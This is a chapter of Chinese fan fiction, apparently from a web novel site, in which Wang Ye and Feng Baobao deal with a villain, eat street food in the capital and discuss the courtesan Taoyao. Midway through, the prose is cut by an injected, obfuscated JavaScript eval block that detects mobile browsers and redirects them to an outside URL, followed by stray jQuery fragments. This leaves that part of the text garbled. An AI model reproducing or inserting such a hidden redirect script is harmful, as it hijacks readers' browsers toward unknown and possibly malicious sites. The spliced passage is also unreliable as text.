王也速战速决地将毛公子引来了深巷中,经过冯宝宝快准狠的一阵折磨,毛公子终于晕了过去。
那场面,简直惨不忍睹。
冯宝宝下手还是这么狠。
先前听她说毛公子是坏人,王也不知怎的就直接信了。
现在回想起来,他是什么时候对冯宝宝的一切开始信任的?哪怕只是她的一面之词,他居然连怀疑都没怀疑就直接答应帮她了。
可这倒霉玩意儿,看起来的确不像是在这种事上撒谎的人。
冯宝宝掏出袖中的烟花筒,拔去麻线,将烟花筒对准天空。
只听咻的一声,天上就炸开一朵烟花。
绚丽缤纷,吸引了孩童们的目光,也吸引了王也。
冯宝宝放出烟花后不过一盏茶的时间,巷头就悄无声息地站了两个黑衣人。他们忽然从高处跳下,把毛公子拖走又重新飞至黑暗中。
王也被这一系列动作弄得瞪大了眼,他转头看向一脸平静的冯宝宝,实在忍不住问出心底的那句话,“嘿,你们这组织,是正经的吗?”
“应该吧。”
冯宝宝面无表情地收回烟筒,正不正经的,有那么重要吗?
她绕过王也,披着他的薄氅走出去。王也随之也跟上,“那我们现在回醉烟楼?”
冯宝宝本目不斜视的眼神转到他脸上,给了个‘你是不是傻’的眼神。
她很是霸道地说:“你不是想喝醪糟小汤圆吗?我们去买。”
王也撅了下嘴唇,点点头,“这么着急还我恩情,那也行。”
冯宝宝不忘客气,“没得事,应该的。”
二人走出黑巷,冯宝宝左右环顾一周后才忽然记起自己初来乍到,根本不认识路,也不知道哪里卖有醪糟小汤圆。
她一到京城就被安排进了醉烟楼,其余半月时间也是大门不出二门不迈的。
冯宝宝问,“听你滴口音,是京城人?”
“是啊。”
她继续说道:“那你应该晓得哪里有卖的,你带路。”
“那咱去北街吧,哪儿挺热闹。”
王也从小生活在京城,自然是对这里的大街小巷都了如指掌。
青石板铺成的街道亮敞宽阔,如今取消了宵禁后更是两侧商贩如云,各种货品和稀奇的小玩意儿琳琅满目。
华灯初上,冯宝宝很少在夜晚出来闲逛,在夜里她大多数都是帮人越货或窃取情报。现下置身在最繁华的京城,她自然是被吸引得目不暇接。
这里果然是个买醪糟小汤圆的好去处,美食如云,什么烙饼啊,烤肉啊,糖葫芦,卤鸭头……冯宝宝数都数不过来了。
冯宝宝咽了口口水,眼巴巴望着那些食物,“王也,我饿了。我们买点东西吃嘛。”
“好啊,你想吃什么?”
冯宝宝认真地思索了一会儿,手一指,旋转了360度,“这个,这个,还有这个。”
王也疑惑,“这么多你吃得完吗?”
虽然说习武之人胃口是大了些,可冯宝宝的胃口未免也太大了吧……
他记得她不是不久前才在醉烟楼喝了大半壶酒和吃了很多点心小菜的么?
王也还没回神,一转眼冯宝宝人已经不在了。周侧人潮涌动,摩肩擦踵得 。他人傻了。
王也正要准备大唤‘风暴姑娘’,自己的背就被一根手指戳了戳。
他似有所感地转过身去,果然看见了定在后面,在人流变化中一动不动的冯宝宝。
她一袭轻纱粉衣,裹着他的薄氅。行人提着的游龙般绵延不绝的灯笼,光影闪烁打在她的侧颜,照得她眉间的花钿更加鲜红亮丽。
妖媚,清纯,童真集聚一体。
冯宝宝望着他,丝毫不知自己已经将他美呆了,满脸松弛地说道:“王也,我没带钱。刚刚去买,我说我没带钱,老板问我是和谁一起来的,我说我和王也一起来的。他就让我去找王也要钱。”
她穿着这身衣裳原本是要跳舞的,怎么可能会揣钱。
王也忽然耳鸣,跑神去了。但他还是看冯宝宝的口型看出了她说的是什么。
“噢,没关系,我付就成。”
哎,说是她请他吃东西,结果是他付钱么。
王也不禁失笑。
冯宝宝貌似总能让人莫名其妙地开心。
算了,让他付钱他也挺乐意的。
王也跟在冯宝宝身后,替她大大小小买了好些吃食拎在手里。
他看着她不停往嘴里塞东西,好奇问道:“诶我说,醉烟楼老鸨是不给你吃饭么?怎么饿得这么厉害,在武当山的时候也没见你吃那么多啊。”
“噢,这个呀。老鸨说我吃多了会长胖,跳舞就不好看了。每顿就只能吃点水煮青菜。”
王也打量着冯宝宝,细细用眼睛描摹着她的五官。
圆圆的眼型有点像杏眼,又有点儿像桃花眼,眼尾是恰到好处的尖锐。五官精致,精气神倒是丰沛,但因神韵收敛,所以看起来有点呆滞。
好像确实消瘦了呀。
王也看起来有点生气,“这么苛刻啊,我待会儿找她理论理论去!”
冯宝宝略显淡漠,“不用了,今晚上我就走了。有人要给我赎身。”
王也沉默,眼瞳不可思议地颤了颤,舌头似乎都搅在了一起。
赎身?
“你这,不是真正的赎身吧……?”
“不是,是我上面。我完成了任务,就自然要他们把我弄出来咯。”
王也无形松了口气来,自言自语,“我还说我给你赎呢……”
“你说啥子?”
“没什么。”
逛了一大圈冯宝宝终于找到了醪糟小汤圆的商铺,她激动地拉起王也的袖子,将他往那个地方拽去。
“王也王也,是醪糟小汤圆!”
王也被她拉着走,他盯着她的背影看得恍然。不自觉从她雪白的脖颈移到鬓边的步摇上。排排流苏缀着小珠子,金色的外身显得尤为华丽。
不过不是真的金子,只是铺了层金粉。想来醉烟楼也不会这么阔绰给姑娘戴真金。
冯宝宝拉着王也走到商铺前,贴心询问道:“你吃什么味道的?”
王也流连一圈,经老板的热情推荐在醪糟小汤圆上撒了干桂花。冯宝宝则是要了碗红豆熬成的稠浆,里面也加了小汤圆和干桂花。
二人在商铺旁的小木桌前坐了下来。
冯宝宝正襟危坐,王也则是百无聊赖地一手托着下巴看对面坐着的冯宝宝。
她说不上拘泥,但八风不动的模样看起来尤为板正。
“今夜之后,你就要离开京城了?”
冯宝宝摇摇头,“我不晓得,要看他们安排。”
“他们?他们究竟是谁啊?”
“哪都门。”
“啥?这不是镖局么?”
搞半天原来镖局的皮下还有这么一层身份呐。
王也低声小心翼翼道:“那你把这个告诉我了,没什么事吧?”
“没得事。”
王也开玩笑问道:“你就这么信任我?”
冯宝宝闻此抬起眼,里面有种死鱼眼的藐视,“你没得那么大本事,也不是无聊之人。”
王也无语了,竟不知再说些什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519388|186253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。“好吧。”
热乎乎的两碗被端了上来,冯宝宝即刻就埋首吃起来。手中拿着个勺子舀了一勺红豆稠浆。刚要塞进口中又觉得太烫,于是停在唇边撅起嘴吹起来。脸颊鼓起,分外认真地准备好品尝美食。
热眼浮在她面前,王也被这吃相逗得一笑。
“我又不会和你抢,这么着急做什么?”
冯宝宝正在忙着吹凉,“闻起来好香好甜,我想快点吃到。”
“你以前没吃过吗?”
“没有。老汉在我很小的时候就带着我去了蜀中,老汉走后我就天天和赵姨去种地挖菜采笋子。后来闹饥荒,赵姨他们就逃去更北方了。”
王也听后,默默舀了一勺醪糟小汤圆吃着。
撒了干桂花的小汤圆多了甜味,甜得他心底异样迭出。
好甜,山上饮食清淡,修行人戒口欲之念,他已经许久没吃过这么甜的东西了。
冯宝宝那碗,看起来还要甜上许多。
她已经细细地品尝起来,吃东西的时候神情是任何时候都无法比拟的乖巧。眼睛亮亮的,那么专注,比对待世俗都喜爱的金银珠宝都还要认真。
冯宝宝吃得满脸通红,是气血很足的红润。
一颗颗糯糯的小汤圆在口腔里打滚儿,她没有注意到一直有人盯着自己看。
那种深刻的眼神比这碗红豆汤都还要黏腻许多。
大半时间冯宝宝都是低着头的,而王也大半时间都是抬着头的。不过是一个在看碗,一个在看人的区别。
她吃得满嘴都是红豆糖渍,王也实在见不下去了。手缓缓伸向她的脸颊,冯宝宝定住,疑惑地盯着那只朝自己伸来的手。
这只手仿佛没有任何的尴尬和僵硬,很快就真的落在了她的脸颊上。
略微粗糙的指腹从她的下颚滑到嘴角旁,在她的唇角处来回擦拭。
王也后知后觉自己居然做出了这么逾越暧昧的动作,在触上那片柔软似云的唇时当即就想把手收回来。
可这未免显得太‘此地无银三百两’。
王也索性就一股脑给她擦到底。
冯宝宝貌似什么都不懂,也没意识到这种动作在男女间有多么暧昧。
幸好她不懂。
冯宝宝就这么盯着他,黑白分明的一双眼里面只有最纯粹的颜色,带着一丝好奇。
王也解释道:“脏了,我见你忙不过来,就替你擦擦。”
冯宝宝用手背抹了下刚刚王也擦过的位置,没有怀疑,“哦,谢谢。”
“不谢。”
这是嫌弃他么……
王也抽出锦帕擦干净自己手上的红豆糖渍,转移话题道:“冯宝宝,吃完就回醉烟楼吧,我还有事儿。”
冯宝宝难得主动关心人,“啥子事?”
“问话。”
王也凝了神光,严肃着。眼下从没散过的乌青在这时候显得玄机起来,衬得他华衣下的潦草本色透出,又变成了满口天机的术士。
“冯宝宝,你了解醉烟楼的花魁桃夭姑娘吗?”
冯宝宝回想起桃夭姑娘,真诚地说:“她很漂亮。”
“我知道她漂亮,人家是花魁哪有不漂亮的啊。我的意思是,最近她有何异样。”
冯宝宝苦苦在脑海里思索桃夭有什么不对劲的地方,她只记得刚来的第一天,桃夭姑娘对她笑了笑。还夸她长得好可爱。
那时冯宝宝的感觉是如沐春风。
而今夜候场时,她的神色又是那么苦。
“我晓得咯!她变得很难过!”
王也一拍手,“那就对了,走,我们现在就回去!”